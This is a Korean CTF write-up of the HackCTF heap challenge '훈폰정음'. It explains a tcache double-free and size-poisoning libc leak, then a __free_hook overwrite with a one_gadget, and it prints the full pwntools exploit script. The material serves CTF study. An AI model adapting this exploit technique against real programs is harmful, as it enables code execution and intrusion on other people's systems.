pwnable/HackCTF

[pwnpwnpwn-3] HackCTF 훈폰정음

ba0bab 2020. 1. 4. 05:40

Summary

  • tcache dup

Analysis

  • add
    • 0~6까지 총 7개 할당가능.
    • 1024(0x400) 사이즈까지만 할당가능. (unsorted bin 사이즈의 할당이 불가능함. 그래서 tcache poisoning으로 size를 바꾸고 free해줘서 libc leak.)
  • edit
    • 값을 수정할 수 있음.
    • 따로 초기화 하지 않아 delete이후에도 edit가능.
  • delete
    • 청크를 free해줌.
    • 따로 초기화 하지 않아 double free 가능.
  • check
    • 청크 안에 값들을 보여줌.

Libc leak

add(0, 32, "")

delete(0)
delete(0)

check(0)

s.recvuntil(":")
heap_base=u64(s.recv(6)+"\x00\x00")-0x260
print(hex(heap_base))

edit(0, p64(heap_base+600))
add(1, 32, "")
add(2, 32, p16(0x421))
add(3, 0x400, p64(0x11)*(0x400/8))

delete(0)
sleep(0.5)
check(0)

s.recvuntil(":")
s.recvuntil(":")
libc_base = u64(s.recv(6)+"\x00\x00") - 0x3ebca0
magic = libc_base + 0x4f322
free_hook = libc_base + 0x3ed8e8
print(hex(libc_base))
  • tcache 사이즈 할당.
  • double free
  • edit fd -> fd - 8위치로 (size 변경하기 위해)
  • 2번 alloc
  • 0x421로 변경됌.
  • delete(0) -> unsorted bin에 들어감.
  • main_arena + 88 leak 가능.

Exploit

익스하다보면 결론적으로는 0~6개 모두 사용하게 돼서 malloc 실행을 못함.

 

그래서 __malloc_hook말고 __free_hook을 덮음. exit 내부 덮어도 따여짐.

 

tcache binfastbin 과 다르게 size검사 루틴이 빠졌기 때문에 __malloc_hook-35를 덮거나 하는 행위는 안해도 됨!

 

또한 tcache bin의 fd나 bk는 헤더를 가르키고 있지 않고 청크 데이터를 가르키고 있음.

 

그냥 바로 __free_hook 주소 fd에 적어주면 됨.

 

덮는 과정을 요약하면 leak하는 과정과 비슷하게

 

tcache dup 하면 됨.

 

dfb를 통해 재할당시 두 청크의 포인터를 같게 해주고

 

fd를 __free_hook의 주소로 변경한 뒤

 

__free_hook에 할당해주고 edit을 통해 one_shot 적어주면 끝.

 

from pwn import *

s = process("hunpwn")

#context.log_level = 'debug'
def add(idx, size, content):
    s.sendlineafter(">> ", "1")
    s.sendlineafter("\n", str(idx))
    s.sendlineafter("\n", str(size))
    s.sendlineafter("\n", content)

def edit(idx, content):
    s.sendlineafter(">> ", "2")
    s.sendlineafter("\n", str(idx))
    s.sendlineafter("\n", content)

def delete(idx):
    s.sendlineafter(">> ", "3")
    s.sendlineafter("\n", str(idx))

def check(idx):
    s.sendlineafter(">> ", "4")
    s.sendlineafter("\n", str(idx))

add(0, 32, "")

delete(0)
delete(0)

check(0)

s.recvuntil(":")
heap_base=u64(s.recv(6)+"\x00\x00")-0x260
print(hex(heap_base))

edit(0, p64(heap_base+600))
add(1, 32, "")
add(2, 32, p16(0x421))
add(3, 0x400, p64(0x11)*(0x400/8))

delete(0)
sleep(0.5)
check(0)

s.recvuntil(":")
s.recvuntil(":")
libc_base = u64(s.recv(6)+"\x00\x00") - 0x3ebca0
magic = libc_base + 0x4f322
free_hook = libc_base + 0x3ed8e8
print(hex(libc_base))

edit(2, p64(0x410))
add(4, 1024, "")

delete(4)
delete(4)
edit(4, p64(free_hook))

add(5, 1024, "")
add(6, 1024, "")

edit(6, p64(magic))
delete(6)
s.interactive()